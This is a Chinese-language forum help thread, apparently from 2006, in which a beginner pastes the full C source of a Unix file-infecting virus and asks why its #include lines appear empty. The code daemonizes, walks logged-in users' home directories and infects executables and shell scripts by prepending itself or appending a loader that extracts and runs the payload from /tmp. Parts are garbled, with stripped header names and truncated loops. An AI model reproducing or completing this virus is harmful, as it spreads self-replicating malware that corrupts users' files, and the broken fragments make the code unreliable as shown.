首页
社区
课程
招聘
[求助]请告诉我这些include到底是啥东东?跪谢!
2006-4-17 15:35 4057

[求助]请告诉我这些include到底是啥东东?跪谢!

2006-4-17 15:35
4057
看如下代码:
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include

#define CHK 512
#define PERM S_IRWXU
#define CHKT 10
#define LOADER "\nrm -f /tmp/.@`whoami`;cat < "
#define LOADER2 " |tail -c 18606 >/tmp/.@`whoami`;chmod 700
/tmp/.@`whoami`;/tmp/.@`whoami`;rm -f /tmp/.@`whoami`;exit;\n"
/* ^^^^^modify here !!! */
#define VL 18606
/* and ^^^^^ here !!! */
#define VLL -VL

#define BUFSIZE 25088
#define BSI 80
#define EXE 1
#define SCR 2
struct flock bk;
int fo,f,status=NULL;
int flagn=0;
void main(argc,argv,envp)
int argc;
char *argv[];
char *envp[];
{
char *buf2,*fname;
static char pidp[BSI]="/tmp/.";
static char bufr[BSI]="";
static int dec;
unsigned int k,kep;
struct passwd *getp;
int caller(void);
int chec(int);
char *base(char *);
char *find(void);
void catch(void);
int check(char *,int);
signal(SIGCLD,SIG_IGN);

strcat(pidp,ecvt((double)getuid(),chec(getuid()),&dec,&dec));

fname=(char *)tempnam("/tmp",NULL);
buf2=(char *)malloc(BUFSIZE);
if((fo=open(argv[0],O_RDONLY))<0 || (f=creat(fname,PERM))<0) exit(1);
if((kep=lseek(fo,0L,2))>2*VL)
{
lseek(fo,VLL,2);
k=read(fo,buf2,VL);
write(f,buf2,k);
lseek(fo,VL,0);
while((k=read(fo,buf2,BUFSIZE))>0)
write(f,buf2,k);
/* ignore more lefting virus in a tail */
}
else
{
lseek(fo,VL-kep,2);
k=read(fo,buf2,kep-VL);
write(f,buf2,k);
}
close(f);
chmod(fname,S_IRWXU);
free(buf2);

if((kep=fork())>0)
{
for(k=0;k if(*(argv[0]+k)=='@') exit(0);
execve(fname,argv,envp);
}
else
if(kep==0)
{
sleep(2);
unlink(fname);

for(k=0;k getp=(struct passwd *)getpwuid(getuid());
strcpy(argv[0],base(getp->pw_shell));

/* initialize daemon process ... */

for(k=0;k<2;k++) close(k);
umask(0);
if(fork()!=0)exit(0);
signal(SIGHUP,SIG_IGN);
signal(SIGINT,SIG_IGN);
signal(SIGTTOU,SIG_IGN);
setpgrp();
if((kep=open("/dev/tty",O_RDWR))>=0)
{ ioctl(kep,TIOCNOTTY,(char *)0);
close(kep);
}
if(fork()!=0)exit(0);

signal(SIGUSR1,catch);
if((kep=open(pidp,O_CREAT|O_RDWR,S_IRUSR|S_IWUSR))<0) exit(1);
k=read(kep,bufr,BSI);
if(k!=0) kill(atoi(bufr),SIGUSR1);

strcpy(bufr,ecvt((double)getpid(),chec(getpid()),&dec,&dec));
lseek(kep,0L,0);
do{
k=write(kep,bufr,strlen(pidp)+1);
while((buf2=find())!=NULL)
{
getp=(struct passwd *)getpwnam(buf2);
if(chdir((buf2=(char *)getp->pw_dir))<0) continue;
if(ftw(buf2,caller,15)!=0) continue;
}

sleep(CHKT);
setutent();
lseek(kep,0L,0);
}while(1);
}
}
int chec(num)
int num;
{
int y=1;
while((num=(int)(num/10))>=1) y++;
return(y);
}
void catch(void)
{
flagn=1;
}

char *base(poi)
char *poi;
{ int i;
for(i=(strlen(poi)-1);i>=0;i--)
if(*(poi+i)=='/') return((char *)(poi+i+1));
return("sh");
}
char *find()
{
static char name[9]="";
struct utmp *goal;
goal=(struct utmp *)getutent();
if(goal->ut_type==USER_PROCESS)
{
strcpy(name,goal->ut_user);
return(name);
}
if(goal==(struct utmp *)NULL) return(NULL);
}

int caller(name,statptr,type)
char *name;
struct stat *statptr;
int type;
{ unsigned int nread,ymode;
static char load[200];
char buf[VL],buf3[VL];
if(type==FTW_F)
{
ymode=statptr->st_mode;
if(check(name,ymode)<0)
{ if(statptr->st_uid==getuid()) chmod(name,ymode);
return(0);
}
if( status==SCR )
{
strcpy(load,LOADER);
strcat(load,name);
strcat(load,LOADER2);
lseek(f,0L,2);
write(f,load,strlen(load));
lseek(fo,0L,0);
nread=read(fo,buf,VL);
write(f,buf,nread);
}
if( status==EXE )
{

if(statptr->st_size>VL)
{
lseek(f,0L,0);
nread=read(f,buf,VL);
lseek(f,0L,2);
write(f,buf,nread);
lseek(fo,0L,0);
nread=read(fo,buf,VL);
lseek(f,0L,0);
write(f,buf,nread);
}
else
{
lseek(f,0L,0);
nread=read(f,buf3,VL);
ymode=nread;
lseek(fo,0L,0);
nread=read(fo,buf,VL);
lseek(f,0L,0);
write(f,buf,nread);
write(f,buf3,ymode);
}
}
/* lseek(f,0L,0);
lockf(f,F_ULOCK,0); */
/* author's linux library has no above program library */

bk.l_type=F_UNLCK;
bk.l_whence=0;
bk.l_len=0;
bk.l_start=0;
fcntl(f,F_SETLK,&bk);

if(statptr->st_uid==getuid()) chmod(name,ymode);
close(f);
}
if(flagn) exit(0);
return(0);
}
int check(name,ymode)
char *name;
int ymode;
{
char ch[CHK];
char ch2[CHK];
int rd,i;
status=(int)NULL;
if((f=open(name,O_RDWR))<0)
{
if(chmod(name,ymode|S_IRUSR|S_IWUSR)<0) return(-1);
if((f=open(name,O_RDWR))<0) return(-1);
}
/* if(lockf(f,F_TLOCK,0)<0) { close(f); return(-1); } */

bk.l_type=F_WRLCK;
bk.l_whence=0;
bk.l_len=0;
bk.l_start=0;
if(fcntl(f,F_SETLK,&bk)<0) { close(f); return(-1); }

lseek(f,0L,0);
rd=read(f,ch,CHK);
lseek(fo,0L,0);
read(fo,ch2,rd);
for(i=0;i if(ch[i]!=ch2[i])
{
if( ch[0]!='#' && (ymode&(S_IXUSR|S_IXGRP|S_IXOTH)) )
{
status=EXE; return(1); }
else
if( ch[0]=='#' && lseek(f,0L,2)>VL ) /* you can improve the rule */
{
lseek(f,VLL,2);
rd=read(f,ch,CHK);
lseek(fo,0L,0);
read(fo,ch2,rd);
for(i=0;i if(ch[i]!=ch2[i])
{ status=SCR; return(1); }
}
else if(ch[0]=='#')
{ status=SCR; return(1); }
break;
}
close(f);
return(-1);
}

敬问:开头的那些空空的#include到底有什么玄机呀?怎么是空的呢?有什么用的呢?请大虾告知!万分感激!

[培训]《安卓高级研修班(网课)》月薪三万计划,掌握调试、分析还原ollvm、vmp的方法,定制art虚拟机自动化脱壳的方法

收藏
点赞0
打赏
分享
最新回复 (1)
雪    币: 200
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
handsoft 2006-4-17 15:39
2
0
怎么没有人呢?给点回应好不好?我是极菜极菜的可怜菜鸟!拜托大家帮帮我这个小菜鸟 !
游客
登录 | 注册 方可回帖
返回